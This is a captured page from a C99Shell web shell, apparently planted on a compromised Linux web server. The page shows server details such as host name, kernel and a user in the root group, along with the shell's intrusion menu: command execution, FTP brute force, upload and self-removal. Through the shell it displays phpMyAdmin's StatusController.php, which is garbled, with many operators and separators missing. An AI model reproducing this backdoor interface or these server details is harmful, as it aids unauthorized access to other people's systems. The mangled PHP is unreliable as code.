!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Controllers/Server/Status/   drwxr-xr-x
Free 28.66 GB of 117.98 GB (24.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StatusController.php (6.94 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Server\Status;

use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\ReplicationGui;
use 
PhpMyAdmin\ResponseRenderer;
use 
PhpMyAdmin\Server\Status\Data;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\Url;
use 
PhpMyAdmin\Util;

use function 
__;
use function 
implode;

/**
 * Object the server status page: processes, connections and traffic.
 */
class StatusController extends AbstractController
{
    
/** @var ReplicationGui */
    
private $replicationGui;

    
/** @var DatabaseInterface */
    
private $dbi;

    public function 
__construct(
        
ResponseRenderer $response,
        
Template $template,
        
Data $data,
        
ReplicationGui $replicationGui,
        
DatabaseInterface $dbi
    
) {
        
parent::__construct($response$template$data);
        
$this->replicationGui $replicationGui;
        
$this->dbi $dbi;
    }

    public function 
__invoke(): void
    
{
        global 
$errorUrl;

        
$errorUrl Url::getFromRoute('/');

        if (
$this->dbi->isSuperUser()) {
            
$this->dbi->selectDb('mysql');
        }

        
$replicationInfo $this->data->getReplicationInfo();
        
$primaryInfo $replicationInfo->getPrimaryInfo();
        
$replicaInfo $replicationInfo->getReplicaInfo();

        
$traffic = [];
        
$connections = [];
        
$replication '';
        if (
$this->data->dataLoaded) {
            
// In some case the data was reported not to exist, check it for all keys
            
if (isset($this->data->status['Bytes_received'], $this->data->status['Bytes_sent'])) {
                
/** @var string[] $bytes */
                
$bytes Util::formatByteDown(
                    
$this->data->status['Bytes_received'] + $this->data->status['Bytes_sent'],
                    
3,
                    
1
                
);
                
$networkTraffic implode(' '$bytes);
            }

            if (isset(
$this->data->status['Uptime'])) {
                
$uptime Util::timespanFormat($this->data->status['Uptime']);
            }

            
$startTime Util::localisedDate($this->getStartTime());

            
$traffic $this->getTrafficInfo();

            
$connections $this->getConnectionsInfo();

            if (
$primaryInfo['status']) {
                
$replication .= $this->replicationGui->getHtmlForReplicationStatusTable('primary');
            }

            if (
$replicaInfo['status']) {
                
$replication .= $this->replicationGui->getHtmlForReplicationStatusTable('replica');
            }
        }

        
$this->render('server/status/status/index', [
            
'is_data_loaded' => $this->data->dataLoaded,
            
'network_traffic' => $networkTraffic ?? null,
            
'uptime' => $uptime ?? null,
            
'start_time' => $startTime ?? null,
            
'traffic' => $traffic,
            
'connections' => $connections,
            
'is_primary' => $primaryInfo['status'],
            
'is_replica' => $replicaInfo['status'],
            
'replication' => $replication,
        ]);
    }

    private function 
getStartTime(): int
    
{
        return (int) 
$this->dbi->fetchValue('SELECT UNIX_TIMESTAMP() - ' $this->data->status['Uptime']);
    }

    
/**
     * @return array
     */
    
private function getTrafficInfo(): array
    {
        
$hourFactor 3600 $this->data->status['Uptime'];

        
/** @var string[] $bytesReceived */
        
$bytesReceived Util::formatByteDown($this->data->status['Bytes_received'], 31);
        
/** @var string[] $bytesReceivedPerHour */
        
$bytesReceivedPerHour Util::formatByteDown($this->data->status['Bytes_received'] * $hourFactor31);
        
/** @var string[] $bytesSent */
        
$bytesSent Util::formatByteDown($this->data->status['Bytes_sent'], 31);
        
/** @var string[] $bytesSentPerHour */
        
$bytesSentPerHour Util::formatByteDown($this->data->status['Bytes_sent'] * $hourFactor31);
        
/** @var string[] $bytesTotal */
        
$bytesTotal Util::formatByteDown(
            
$this->data->status['Bytes_received'] + $this->data->status['Bytes_sent'],
            
3,
            
1
        
);
        
/** @var string[] $bytesTotalPerHour */
        
$bytesTotalPerHour Util::formatByteDown(
            (
$this->data->status['Bytes_received'] + $this->data->status['Bytes_sent']) * $hourFactor,
            
3,
            
1
        
);

        return [
            [
                
'name' => __('Received'),
                
'number' => implode(' '$bytesReceived),
                
'per_hour' => implode(' '$bytesReceivedPerHour),
            ],
            [
                
'name' => __('Sent'),
                
'number' => implode(' '$bytesSent),
                
'per_hour' => implode(' '$bytesSentPerHour),
            ],
            [
                
'name' => __('Total'),
                
'number' => implode(' '$bytesTotal),
                
'per_hour' => implode(' '$bytesTotalPerHour),
            ],
        ];
    }

    
/**
     * @return array
     */
    
private function getConnectionsInfo(): array
    {
        
$hourFactor 3600 $this->data->status['Uptime'];

        
$failedAttemptsPercentage '---';
        
$abortedPercentage '---';
        if (
$this->data->status['Connections'] > 0) {
            
$failedAttemptsPercentage Util::formatNumber(
                
$this->data->status['Aborted_connects'] * 100 $this->data->status['Connections'],
                
0,
                
2,
                
true
            
) . '%';

            
$abortedPercentage Util::formatNumber(
                
$this->data->status['Aborted_clients'] * 100 $this->data->status['Connections'],
                
0,
                
2,
                
true
            
) . '%';
        }

        return [
            [
                
'name' => __('Max. concurrent connections'),
                
'number' => Util::formatNumber($this->data->status['Max_used_connections'], 0),
                
'per_hour' => '---',
                
'percentage' => '---',
            ],
            [
                
'name' => __('Failed attempts'),
                
'number' => Util::formatNumber($this->data->status['Aborted_connects'], 41true),
                
'per_hour' => Util::formatNumber($this->data->status['Aborted_connects'] * $hourFactor42true),
                
'percentage' => $failedAttemptsPercentage,
            ],
            [
                
'name' => __('Aborted'),
                
'number' => Util::formatNumber($this->data->status['Aborted_clients'], 41true),
                
'per_hour' => Util::formatNumber($this->data->status['Aborted_clients'] * $hourFactor42true),
                
'percentage' => $abortedPercentage,
            ],
            [
                
'name' => __('Total'),
                
'number' => Util::formatNumber($this->data->status['Connections'], 40),
                
'per_hour' => Util::formatNumber($this->data->status['Connections'] * $hourFactor42),
                
'percentage' => Util::formatNumber(10002) . '%',
            ],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--